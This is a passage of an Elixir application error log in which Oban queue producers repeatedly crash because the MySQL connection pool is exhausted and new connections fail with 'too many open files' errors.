    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:53:51.240495Z], limit: 5, uuid: "8adbe980-ab9b-46f3-87e2-eb48f85335cd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:51.240501Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.8940>, refresh_timer: #Reference<0.2525715032.1121189889.144146>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:53:51.240593Z], limit: 50, uuid: "1957b9a6-d605-4efb-81e8-485fff028b80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:51.240599Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.8941>, refresh_timer: #Reference<0.2525715032.1099431938.36511>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:53:51.240270Z], limit: 3, uuid: "b3d76ced-ebef-4ff8-9376-986a5c75ed49", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:51.240288Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.8939>, refresh_timer: #Reference<0.2525715032.1077673987.8918>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:53:51.240524Z], limit: 5, uuid: "dfc1a325-b694-411a-aa14-484f4847865a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:51.240531Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.144161>, refresh_timer: #Reference<0.2525715032.1099431938.36510>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:53:51.240652Z], limit: 20, uuid: "3a57e270-693d-4c8c-8b85-87fe3041f615", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:51.240658Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.144160>, refresh_timer: #Reference<0.2525715032.1121189889.144152>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:04.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:53:51.240547Z], limit: 10, uuid: "dc5f7338-dccc-4619-8c00-ceb5e11f462d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:51.240554Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.36514>, refresh_timer: #Reference<0.2525715032.1099431938.36509>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:04.309000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:05.454000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:10.627000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:11.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:11.981000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:12.123000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:13.478000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:15.590000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:54:04.238998Z], limit: 50, uuid: "6a05c1c5-e2fc-4f7b-8fdb-97ce69fc9452", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:04.239003Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9304>, refresh_timer: #Reference<0.2525715032.1099431938.36576>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:16.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:54:04.239617Z], limit: 20, uuid: "d1670b0e-ed16-4a38-931f-2cbb8cd33755", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:04.239623Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.36067>, refresh_timer: #Reference<0.2525715032.1068498948.36060>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:16.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:54:04.239154Z], limit: 3, uuid: "ed269f9a-5018-4e30-bff0-8c5b46be02d5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:04.239160Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, 